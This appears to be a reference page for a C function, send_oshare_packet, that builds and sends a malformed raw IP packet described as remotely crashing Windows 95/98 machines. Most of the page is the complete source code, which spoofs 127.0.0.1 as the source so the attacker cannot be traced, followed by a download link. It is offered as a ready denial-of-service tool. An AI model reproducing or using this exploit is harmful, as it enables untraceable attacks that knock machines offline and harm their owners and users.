send_oshare_packet Sending of "Oshare Packet"
[DOS Attack] [HedHat 5.2]
Format int send_oshare_packet( int sock_send, u_long dst_addr )
include sys/socket.h
netinet/ip.h
netinet/tcp.h(__FAVOR_BSDモード)
arpa/inet.h
Abstract  This function can be used for sending of "Oshare packet" to dst_addrwhich can cause the crash of Windows95/98 machines remotely. sock_send is the socket descriptor which is opened as RAW mode. It is impossible to detect the source address becase localhost(127.0.0.1) address is specified in the source address of the packet. However there is a possibility that this packet is filtered by the network. This packet can only be used in the same segment (See "Principle of Oshare Packet").
Return Value  -1 is returned if an error occurs, otherwise, the return value is numbers of character sent.
Source code

int
send_oshare_packet( int sock_send, u_long dst_addr )
    {
    char    *packet;
    int send_status;
    struct  iphdr       *ip;
    struct  sockaddr_in to;
    
    packet  = ( char *)malloc( 40 );
    ip      = ( struct iphdr *)( packet );
    memset( packet, 0, 40 );
    
    ip->version     = 4;
    ip->ihl         = 11;
    ip->tos         = 0x00;
    ip->tot_len     = htons( 44 );
    ip->id          = htons( 65535 );
    ip->frag_off    = htons( 16383 );
    ip->ttl         = 0xff;
    ip->protocol    = IPPROTO_UDP;
    ip->saddr       = htonl( inet_addr( "127.0.0.1" ) );
    ip->daddr       = dst_addr;
    ip->check       = in_cksum( ( u_short *)ip, 40 );
    
    to.sin_family       = AF_INET;
    to.sin_port         = htons( 0x123 );
    to.sin_addr.s_addr  = dst_addr;
    
    send_status = sendto( sock_send, packet, 40, 0,
                         ( struct sockaddr *)&to, sizeof( struct sockaddr ) );
    
    free( packet );
    return( send_status );
    }
	
Sample  A principle of "Oshare Packet"
Download  send_oshare_packet.c